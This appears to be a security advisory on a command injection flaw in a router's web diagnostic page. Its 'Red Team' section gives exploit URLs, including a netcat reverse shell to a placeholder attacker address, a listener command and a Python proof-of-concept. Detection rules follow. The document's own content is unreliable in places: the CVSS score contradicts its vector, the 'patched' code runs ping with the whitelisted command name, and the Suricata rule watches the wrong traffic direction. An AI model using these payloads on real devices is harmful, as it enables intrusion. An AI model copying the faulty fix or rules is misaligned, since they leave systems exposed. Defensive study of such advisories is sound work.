CVE-2025-69755

Executive Summary

CVE-2025-69755 is a critical vulnerability in the Neterbit NW-431F Router, specifically in firmware version NW-431F-20241014-IR03. The flaw resides in the at_command.asp interface, allowing a remote unauthenticated attacker to inject arbitrary commands. This leads to full device compromise, including sensitive information disclosure and arbitrary code execution. The vulnerability is classified as a command injection (CWE-77) and is currently unpatched, with no official fix available from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical severity is high due to the lack of authentication required.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (router). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full device data access.
• Integrity Impact: High (I:H) – Arbitrary code execution possible.
• Availability Impact: High (A:H) – Device can be rendered inoperable.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full impact makes this a high-priority vulnerability for any organization using the Neterbit NW-431F router.

Deep Dive & Mechanics

The vulnerability exists in the at_command.asp interface, which is likely used for diagnostic or administrative command execution. The interface does not properly sanitize user-supplied input before passing it to a system shell. An attacker can craft a malicious HTTP request to the at_command.asp endpoint, injecting arbitrary operating system commands.

Root Cause: The application directly concatenates user input into a command string without validation or escaping. For example, a parameter like cmd=ping might be expected, but an attacker can supply cmd=ping;id to execute the id command after the intended ping.

Attack Vector: Remote, unauthenticated HTTP requests to the router's web management interface (typically on port 80 or 443).

Impact: Full device compromise. An attacker can:

• Extract sensitive configuration data (e.g., Wi-Fi passwords, VPN credentials).
• Install persistent backdoors.
• Use the router as a pivot point for further network attacks.
• Disable the device (denial of service).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only known state. The following is a hypothetical representation of the vulnerable code and what a patched version should look like.

Vulnerable Code (ASP/VBScript):

<%
Dim cmd
cmd = Request.QueryString("cmd")
If cmd <> "" Then
    Dim result
    result = CreateObject("WScript.Shell").Exec(cmd).StdOut.ReadAll()
    Response.Write(result)
End If
%>

Patched Code (Hypothetical):

<%
Dim cmd
cmd = Request.QueryString("cmd")
If cmd <> "" Then
    ' Validate input against a whitelist
    Dim allowedCommands
    allowedCommands = Array("ping", "traceroute", "nslookup")
    If IsInArray(cmd, allowedCommands) Then
        ' Use parameterized execution
        Dim result
        result = CreateObject("WScript.Shell").Exec("ping -c 4 " & cmd).StdOut.ReadAll()
        Response.Write(result)
    Else
        Response.Write("Invalid command")
    End If
End If
%>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a Neterbit NW-431F router with firmware NW-431F-20241014-IR03.
2. Connect the router to a isolated lab network.
3. Ensure the web interface is accessible (default IP: 192.168.1.1).

Exploitation Steps:

1. Identify the vulnerable endpoint: http://<router-ip>/at_command.asp
2. Craft a malicious request to execute arbitrary commands. For example, to list the root directory:

   http://192.168.1.1/at_command.asp?cmd=ls%20-la
   

3. To execute a reverse shell (assuming netcat is available on the router):

   http://192.168.1.1/at_command.asp?cmd=nc%20-e%20/bin/sh%20<attacker-ip>%204444
   

4. On the attacker machine, listen for the reverse shell:

   nc -lvnp 4444
   

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://192.168.1.1/at_command.asp"
command = "id"  # Change to desired command

payload = {"cmd": command}
response = requests.get(target, params=payload)
print(response.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP requests to /at_command.asp for unusual parameters.
2. Look for command injection patterns in the cmd parameter (e.g., ;, |, &&, $()).
3. Check for outbound connections from the router to unknown IPs on unusual ports (e.g., 4444).
4. Review router logs for unexpected command execution.

Mitigation (Temporary):

• Block access to the web interface from untrusted networks (e.g., via firewall rules).
• Disable the at_command.asp endpoint if not needed.
• Implement network segmentation to limit the router's exposure.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /at_command.asp with suspicious parameters (e.g., cmd=ping;id).
  • Outbound connections from the router to external IPs on non-standard ports (e.g., 4444, 31337).
  • Unusual DNS queries from the router (e.g., to known C2 domains).

• File IOCs:

  • Presence of unexpected files in /tmp or /var on the router (e.g., /tmp/.backdoor).
  • Modified system binaries (e.g., /bin/sh replaced with a backdoor).

• Process IOCs:

  • Running processes with names like nc, bash, or python that were not started by the system.
  • Multiple instances of ping or traceroute running simultaneously.

Detection Engineering

YARA Rule

rule CVE_2025_69755_Neterbit_Command_Injection {
    meta:
        description = "Detects command injection attempts against Neterbit NW-431F router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69755"
    strings:
        $cmd_param = "at_command.asp" nocase
        $injection1 = /cmd=[^&]*[;&|`$]/ nocase
        $injection2 = /cmd=[^&]*\|\|/ nocase
        $injection3 = /cmd=[^&]*%0A/ nocase
    condition:
        $cmd_param and any of ($injection*)
}

Sigma Rule

title: Neterbit NW-431F Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable at_command.asp endpoint with command injection patterns
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69755
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "at_command.asp"
        cs-uri-query|re: "cmd=[^&]*[;&|`$]"
    condition: selection
falsepositives:
    - Legitimate diagnostic commands (e.g., cmd=ping)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69755 Neterbit NW-431F Command Injection Attempt"; flow:to_server,established; content:"at_command.asp"; http_uri; pcre:"/cmd=[^&]*[;&|`$]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the router behind a firewall that restricts access to the web interface to only trusted administrative IPs.
2. Disable the vulnerable endpoint: If possible, remove or rename the at_command.asp file on the router's filesystem.
3. Monitor for exploitation: Deploy the provided detection rules to identify any attempts.

Long-term Fix:

• Vendor patch: Await an official firmware update from Neterbit. Contact the vendor for a timeline.
• Replace the device: If no patch is forthcoming, consider replacing the router with a more secure alternative.

Workaround:

• Implement a reverse proxy that filters requests to /at_command.asp and validates the cmd parameter against a whitelist of allowed commands.

Valters IT
Securing Digital Frontiers